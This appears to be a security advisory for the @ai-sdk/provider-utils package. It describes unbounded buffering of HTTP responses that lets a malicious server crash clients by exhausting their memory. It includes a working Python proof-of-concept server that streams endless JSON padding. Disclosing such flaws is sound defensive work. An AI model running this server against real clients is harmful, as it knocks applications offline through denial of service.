Allocation of Resources Without Limits or Throttling Affecting @ai-sdk/provider-utils package, versions *

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in various respons.text() invocations in response-handler.ts, which accept and buffer arbitrarily long request strings. Functions like createJsonResponseHandler() and createJsonErrorResponseHandler() perform these unbounded calls, without recourse to protections afforded by higher level JSON handling APIs. An attacker who can convince a client to connect to a malicious server can trigger an out of memory failure.

Malicious server:

import http.server
import socketserver

class MaliciousHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        self.send_response(200)
        self.send_header('Content-Type', 'application/json')
        self.end_headers()
        self.wfile.write(b'{ "id": "chatcmpl-1", "object": "chat.completion", "created": 123, "model": "gpt-4", "choices": [ { "index": 0, "message": { "role": "assistant", "content": "')
        try:
            while True:
                self.wfile.write(b' ' * 1024 * 1024)
                self.wfile.flush()
        except Exception:
            pass
socketserver.TCPServer(("", 8089), MaliciousHandler).serve_forever()

• GitHub Gist
• Vulnerable Code